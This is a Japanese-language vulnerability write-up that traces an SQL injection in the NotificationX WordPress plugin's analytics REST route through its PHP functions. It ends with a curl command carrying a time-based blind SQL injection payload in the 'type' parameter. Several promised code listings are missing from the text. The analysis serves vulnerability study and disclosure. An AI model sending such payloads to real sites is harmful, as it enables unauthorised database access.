
CVE-2019-1698のステップバイステップの技術分析。WordPressプラグインのSQLインジェクション脆弱性について、コード差分レビュー、脆弱な関数の特定、curlを使用した悪用デモを含む。
コード参照 2: https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Database.php

したがって、このCVEに関連するファイルは次のとおりです:
wp-content/plugins/notificationx/includes/Core/Rest/Analytics.php
次に、脆弱性コードが含まれる可能性のあるファイルを確認します:
insert_analytics() 関数に注目してください:
この関数は (ユーザーからの) $request を受け取り、 パラメータを抽出します。
typeその後、この値は CoreAnalytics::get_instance()->insert_analytics() 関数に渡されます:

このコードをトリガーするには、マップされたルート (Analytics クラスの register_routes() 関数内) を確認します:
$this->namespace . '/' . $this->rest_base
また、Analytics クラスのコンストラクタは、namespace 変数と rest_base 変数の値を示しています:
public function __construct() {
$this->namespace = 'notificationx/v1';
$this->rest_base = 'analytics';
add_action('rest_api_init', [$this, 'register_routes']);
}
したがって、ユーザーが指定した type パラメータを受け取る関連 (脆弱な) コードには、次のルート経由で到達できます:
notificationx/v1/analytics
では、悪用方法は何で、SQLインジェクションのクエリはどこにあるのでしょうか?
ユーザーが指定した type パラメータは次の場所に渡されるため:
CoreAnalytics::get_instance()->insert_analytics( absint( $params['nx_id'] ), $type );
この関数を特定します:
強調表示されたファイル内のこの関数コードを確認しましょう:
wp-content/plugins/notificationx/includes/Core/Analytics.php:

もし脆弱性が increment_count() 関数にあると考えているなら、まさにその通りです!
increment_count 関数は次のとおりです (この関数はユーザーからの $type パラメータを持ちます):

この関数はさらに update_analytics() 関数を呼び出します。それを見てみましょう:


update_analytics 関数はSQLクエリを動的に作成し、サニタイズされていないユーザー入力がその一部になっています。怪しいと思いませんか? それもそのはず、これが脆弱性の原因だからです。
$col パラメータは、HTTPリクエストでユーザーが送信した type パラメータに対応します。
$table_name は nx_stats に設定されます:
public function __construct() {
global $wpdb;
$this->wpdb = $wpdb;
self::$table_entries = $wpdb->prefix . 'nx_entries';
self::$table_posts = $wpdb->prefix . 'nx_posts';
self::$table_stats = $wpdb->prefix . 'nx_stats';
}
正しいHTTP動詞を特定するために、WordPress REST APIを利用しました:
http://localhost/wp-json/

/notificationx/v1/analytics APIルートは POST リクエストでトリガーでき、nx_id (整数) と (任意で) type (文字列) を渡す必要があります。
先ほど wp-content/plugins/notificationx/includes/Core/Database.php のコードスニペットから推定したように、アナリティクス情報は nx_stats という名前のテーブルで更新されていたことを思い出してください:
public function __construct() {
global $wpdb;
$this->wpdb = $wpdb;
self::$table_entries = $wpdb->prefix . 'nx_entries';
self::$table_posts = $wpdb->prefix . 'nx_posts';
self::$table_stats = $wpdb->prefix . 'nx_stats';
}
$table_name = self::$table_stats;

私たちの計画は、リクエストにペイロードを渡したときに構築されるSQLクエリを確認することです。
それでは、curl (SQLiペイロード付き) リクエストを再度送信します:
time curl http://localhost:8080/wp-json/notificationx/v1/analytics -d 'nx_id=1337&type=clicks`=IF(SUBSTRING(version(),1,1)=5,SLEEP(10),null)-- -'
